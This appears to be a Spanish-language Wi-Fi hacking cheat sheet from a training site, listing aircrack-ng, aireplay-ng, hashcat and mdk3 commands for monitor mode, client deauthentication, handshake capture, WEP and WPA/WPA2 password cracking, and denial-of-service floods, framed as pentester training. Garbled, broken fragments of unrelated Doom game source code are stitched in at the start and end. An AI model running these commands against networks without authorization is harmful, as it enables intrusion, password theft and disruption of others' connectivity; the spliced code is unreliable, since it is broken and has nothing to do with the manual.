

# MANUAL COMANDOS DE HACKING WI-FI



```

episode = 1;

if ( gamemode == retail )
{
    if ( episode > 4)
        episode = 4;
}
else if ( gamemode == shareware )
{
    if ( episode > 1)
        episode = 1; // only start episode 1 on shareware
}
else
{
    if ( episode > 3)
        episode = 3;
}

```

MANUAL  
COMANDOS  
DE HACKING WI-FI

```

&& ( gamemode != commercial )
map = 9;
respawnmonsters = true;
else
respawnmonsters = false;
if ( fastparm || (skill == sk_nightmare && gameskill != sk_nightmare) )
{
    for (i=S_SARG_RUN1 ; i<=S_SARG_PAIN2 ; i++)
        states[i].tics >= 1;
    mobinfoMT_BRUISERSHOT1.speed = 20*FRACUNIT;
    mobinfoMT_HEADSHOT1.speed = 20*FRACUNIT;
    mobinfoMT_TROOPSHOT1.speed = 20*FRACUNIT;
}
else if (skill != sk_nightmare && gameskill == sk_nightmare )
{
    for (i=S_SARG_RUN1 ; i<=S_SARG_PAIN2 ; i++)
        states[i].tics <= 1;
    mobinfoMT_BRUISERSHOT1.speed = 15*FRACUNIT;
    mobinfoMT_HEADSHOT1.speed = 10*FRACUNIT;
    mobinfoMT_TROOPSHOT1.speed = 10*FRACUNIT;
}

```

// force players to be initialized upon first level load  
for (i=0 ; i<MAXPLAYERS ; i++)  
 players[i].playerstate = PST\_REBORN;

```

username = true; // will be set false if a demo
paused = false;
demoplayback = false;
automapactive = false;
viewactive = true;
gameepisode = episode;
gamenmap = map;
gameskill = skill;

```



# Contenido

- INTRODUCCIÓN
- COMANDOS DE LINUX WI-FI BÁSICOS
- ENUMERAR REDES INALÁMBRICAS CERCANAS
- CONEXIÓN A WI-FI USANDO NMCLI
- ESTABLECER INTERFAZ EN MODO MONITOR
- DESHABILITAR EL MODO MONITOR
- GESTIÓN DE PROCESOS PROBLEMÁTICOS EN MODO MONITOR
- CAPTURA DE PAQUETES DE TRAMAS WIRELESS
- DEAUTENTIFICACIÓN DE CLIENTES CONECTADOS PARA FORZAR LA CAPTURA DEL HANDSHAKE
- ATAQUE DE DICCIONARIO A HANDSHAKE
- ATAQUES DE DENEGACIÓN DE SERVICIO (DOS)
- CRACKING WEP CON CLIENTES CONECTADOS (OPEN SYSTEM)
- CRACKING WEP SIN CLIENTES CONECTADOS (OPEN SYSTEM)
- CRACKING WEP CON CLIENTES CONECTADOS (SHARED KEY AUTHENTICATION)
- CRACKING WPA/WPA2
- OLVIDAR REDES WIRELESS EN LINUX
- VARIABLES

# Introducción

## Ataques Wi-Fi cheat sheet

### Resumen de comandos de ataques Wi-Fi

El Equipo de Hacker Mentor se enorgullece en presentar el siguiente "**MANUAL DE COMANDOS DE HACKING WI-FI**" donde podrás encontrar, con su explicación, varios de los comandos más utilizados para ataques a nivel de redes inalámbricas incluyendo: sniffing, cracking WEP, WPA2, DoS (denegación de servicio) y más.

Esperamos que este manual se convierta en una herramienta de guía y ayuda en tu camino, y, de la mano de nuestros expertos llegues a convertirte en un **Auditor y Pentester de Redes Wi-Fi**.

Comencemos.

# Comandos de Linux WiFi Básicos

## **lsusb**

Listar los dispositivos USB y sus chipsets

## **iwconfig**

Configuración de la interfaz inalámbrica

## **airmon-ng**

Verificar estado y enumerar las interfaces inalámbricas

## **ifconfig eth0 down**

Apagar interfaz de red eth0

## **ifconfig eth0 up**

Prender interfaz de red eth0

# Enumerar Redes Inalámbricas Cercanas

## **iwlist \$wlano scan**

Listar redes cercanas y sus características

## **iwlist \$wlano scan | grep ESSID**

Listar redes cercanas por ESSID

# Conexión a WiFi usando NMCLI

**nmcli d wifi connect \$ESSID**

Conexión a una red Wi-Fi pública

**nmcli d wifi connect \$ESSID password \$password**

Conexión a una red Wi-Fi con contraseña (WEP,WPA,WPA2)

## Establecer Interfaz Modo Monitor

Poner la Interfaz de Red en modo Monitor

**ip link set \$wlano down**

Apagar la interfaz de red wi-fi

**iwconfig \$wlano mode monitor**

Establecer modo monitor

**ip link set \$wlano up**

Encender la interfaz de red wi-fi

**airmon-ng start \$wlano**

Poner la interfaz de red wi-fi en modo monitor utilizando airmon-ng

# Deshabilitar el Modo Monitor

Poner la interfaz de red wi-fi en modo managed

**ip link set \$wlano down**

Apagar la interfaz de red wi-fi

**iwconfig \$wlano mode managed**

Establecer modo monitor

**ip link set \$wlano up**

Encender la interfaz de red wi-fi

**airmon-ng stop \$wlano**

Poner la interfaz de red wi-fi en modo monitor utilizando airmon-ng

## Gestión de procesos problemáticos en modo Monitor

**airmon-ng check**

Comprobación de procesos que interfieren

**airmon-ng check kill**

Matar los procesos que interfieren

# Captura de paquetes de tramas Wireless

**airodump-ng \$wlano**

Enumerar todos los puntos de acceso y clientes conectados

**airodump-ng -c 1,6,11 \$wlano**

Enumerar puntos de acceso y clientes conectados en el canal 1,6 y 11

**airodump-ng -c 11 --bssid \$bssid -w \$captura \$wlano**

Capturar tramas Wireless en un punto de acceso y canal específico

## Deautenticación de Clientes conectados para Forzar la Captura del Handshake

**aireplay-ng -0 1 -a \$bssid -c \$cliente \$wlano**

Deautenticación de un cliente conectado en una red específica

**aireplay-ng -0 1 -a \$bssid \$wlano**

Deautenticación de todos los clientes conectados en una red específica

Donde:

-0 Significa deautenticación

<sup>1</sup> Es el número de deautenticaciones (se puede enviar múltiples), si se ubica el valor de 0 (cero) significa deautenticación continua

# Ataque de Diccionario Handshake

```
aircrack-ng -o -w $diccionario $captura
```

Crackeo de handshake con aircrack-ng

```
aircrack-ng -J $captura $captura_hashcat
```

Convertir captura a formato hashcat (hccapx)

```
hashcat -m 2500 $captura_hashcat $diccionario
```

Crackeo de handshake con hashcat

# Ataque de Denegación de Servicio (DOS)

```
apt install mdk3
```

Instalación de mdk3

```
mdk3 $wlano d -c $canal
```

Deautenticación de clientes en un canal específico (Ataque 1)

```
mdk3 $wlano a -a $bssid
```

Inundación de autenticaciones en un punto de acceso (Ataque 2)

```
mdk3 $wlano b -c $canal
```

Inundación de puntos de acceso falsos en un canal específico (Ataque 3)

# Cracking WEP con clientes conectados (Open System)

**airmon-ng start \$wlano**

Poner la interfaz de red wi-fi en modo monitor

**airmon-ng check kill**

Matar los procesos que interfieren

**airodump-ng -c 11 --bssid \$bssid -w \$captura \$wlano**

Capturar tramas Wireless en un punto de acceso y canal específico

**aireplay-ng -1 0 -e \$essid -a \$bssid -h \$wlano\_mac \$wlano**

Ataque de autenticación falsa

Donde:

-1 Significa autenticación falsa 0 tiempo de reasociación en segundos

**aireplay-ng -0 1 -a \$bssid -c \$cliente \$wlano**

Ataque de deautenticación

**aireplay-ng -3 -b \$bssid -h \$wlano\_mac \$wlano**

Ataque de ARP replay

**aircrack-ng -0 \$captura**

Crackeo de contraseña WEP

# Cracking WEP sin clientes conectados (Open System)

**airmon-ng start \$wlano**

Poner la interfaz de red wi-fi en modo monitor

**airmon-ng check kill**

Matar los procesos que interfieren

**airodump-ng -c 11 --bssid \$bssid -w \$captura \$wlano**

Capturar tramas Wireless en un punto de acceso y canal específico

**aireplay-ng -1 60 -e \$essid -a \$bssid -h \$wlano\_mac \$wlano**

Ataque de autenticación falsa con reasociación

Donde:

-1 Significa autenticación falsa      60 tiempo de reasociación en segundos

**aireplay-ng -4 -b \$bssid -h \$wlano\_mac \$wlano**

Ataque KoreK chopchop

Donde:

-4 significa ataque chopchop

**packetforge-ng -o -a \$bssid -h \$wlano\_mac -l 255.255.255.255 -k 255.255.255.255 -y \$captura\_xor -w \$captura\_artificial**

Creación de paquete ARP artificial

```
aireplay-ng -2 -r $arp_artificial $wlan0
```

Ataque Replay interactivo

```
aircrack-ng -o $captura
```

Crackeo de contraseña WEP

## Cracking WEP con clientes conectados (Shared Key Authentication)

```
airmon-ng start $wlan0
```

Poner la interfaz de red wi-fi en modo monitor

```
airmon-ng check kill
```

Matar los procesos que interfieren

```
airodump-ng -c 11 --bssid $bssid -w $captura $wlan0
```

Capturar tramas Wireless en un punto de acceso y canal específico

```
aireplay-ng -0 1 -a $bssid -c $cliente $wlan0
```

Ataque de deautenticación para capturar archivo shared key XOR

```
aireplay-ng -1 60 -e $essid -a $bssid -h $wlano_mac -y  
$shared_key_xor $wlano
```

Ataque de autenticación falsa con reasociación usando archivo shared key XOR

```
aireplay-ng -3 -b $bssid -h $wlano_mac $wlano
```

Ataque de ARP replay

```
aircrack-ng -o $captura
```

Crackeo de contraseña WEP SKA

## Cracking WPA / WPA2

```
airmon-ng start $wlano
```

Poner la interfaz de red wi-fi en modo monitor

```
airmon-ng check kill
```

Matar los procesos que interfieren

```
aireplay-ng -0 1 -a $bssid -c $cliente $wlano
```

Ataque de deautenticación

```
aircrack-ng -o -w $diccionario $captura
```

Crackeo de handshake

# Olvidar redes Wireless en Linux

```
cd /etc/NetworkManager/system-connections
```

Olvidar redes Wireless en Linux desde la terminal

```
rm *
```

Olvidar redes Wireless en Linux desde la terminal

## \*Variables

\$wlano	Nombre de la tarjeta wi-fi
\$bssid	Dirección MAC del punto de acceso seleccionado
\$essid	Nombre del punto de acceso seleccionado
\$cliente	Cliente víctima conectado al punto de acceso seleccionado
\$canal	Número de canal wi-fi seleccionado
\$captura	Nombre seleccionado para captura de tráfico
\$captura_hashcat	Nombre seleccionado para captura de tráfico en formato hashcat
\$diccionario	Diccionario seleccionado para el crackeo de contraseñas
\$arp_artificial	Nombre del paquete ARP artificial creado
\$shared_key_xor	Nombre del paquete shared key XOR creado



# MANUAL DE COMANDOS DE HACKING WI-FI

```
// This was quite messy with SPECIAL and commented parts.
// Supposedly hacks to make the latest edition work.
// It might not work properly.
if (episode < 1)
    episode = 1;

if (gameremode == retail)
{
    if (episode > 4)
        episode = 4;
}
else if (!gameremode == shareware)
{
    if (episode > 1)
        episode = 1; // only start episode 1 on shareware
}
else
{
    if (episode > 3)
        episode = 3;
}

if (map < 1)
    map = 1;

if ((map > 8) && (!gameremode != commercial))
    map = 9;

M_ClearRandom(0);

if (skill == sk_nightmare || respawnparm)
    respawnmonsters = true;
else
    respawnmonsters = false;

if (fastparm || (skill == sk_nightmare && gameskill != sk_nightmare))
{
    for (i=S_SARG_RUN1 ; i<=S_SARG_PAIN2 ; i++)
        states[i].tics >= 1;
    mobjinfoMT_BRUISERSHOT1.speed = 20*FRACUNIT;
    mobjinfoMT_HEADSHOT1.speed = 20*FRACUNIT;
    mobjinfoMT_TROOPSHOT1.speed = 20*FRACUNIT;
}
else if (skill != sk_nightmare && gameskill == sk_nightmare)
{
    for (i=S_SARG_RUN1 ; i<=S_SARG_PAIN2 ; i++)
        states[i].tics <= 1;
    mobjinfoMT_BRUISERSHOT1.speed = 15*FRACUNIT;
    mobjinfoMT_HEADSHOT1.speed = 10*FRACUNIT;
    mobjinfoMT_TROOPSHOT1.speed = 10*FRACUNIT;
}

// force players to be initialized upon first level load
for (i=0 ; i<MAXPLAYERS ; i++)
    players[i].playerstate = PST_REBORN;

username = true; // will be set false if a demo
paused = false;
demoplayback = false;
automapactive = false;
```

[www.hacker-mentor.com](http://www.hacker-mentor.com)

